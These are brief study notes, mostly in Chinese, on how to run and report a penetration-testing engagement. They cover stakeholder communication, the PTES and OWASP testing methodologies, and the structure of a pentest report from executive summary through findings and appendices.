沟通交流: 拉上相关人员,IT,开发,运维,owner…;记录定期会议,确认哪个级别的漏洞会进行紧急沟通。确认最后结果的呈现形式,大多数情况是报告。
加密信息的传输方式;最后的结果交给哪些人

Methodology

PTES!! 非常好。
OTG
根据报告,任何一个技能达标的渗透测试人员应该可以重现漏洞。

Black Gray White

NIST800-30 Threat Modeling

Source Code Review

Pentesting

Post Assessment

考虑不同的读者:管理层,应用的赞助人对业务影响更感兴趣
开发者和IT技术人员需要更多的技术细节

Report (OTG v4)
Executive Summary (1-2 页): 时间,目标,结果的摘要,重点关注高危漏洞,确保建议能被目标对象有权利执行。

Test Parameter:

  • 目标Objective
  • 范围 Scope
  • 时间Schedule
  • Targets 应用名称,应用的技术和功能
  • Limitations 存在的困难和限制,声明
  • Finding的总结
  • 解决方法 Remediation

Findings
逐个列出发现的漏洞,截图,做了什么,测了什么,等级,改进方法

Appendices

  • keybase.io 加密传输
  • 某一个发现有多个URL
  • 命令行输出
  • 通过漏洞获取的数据

Report Automation
缩减重复工作的时间,更好地在测试过程中记录下重要的信息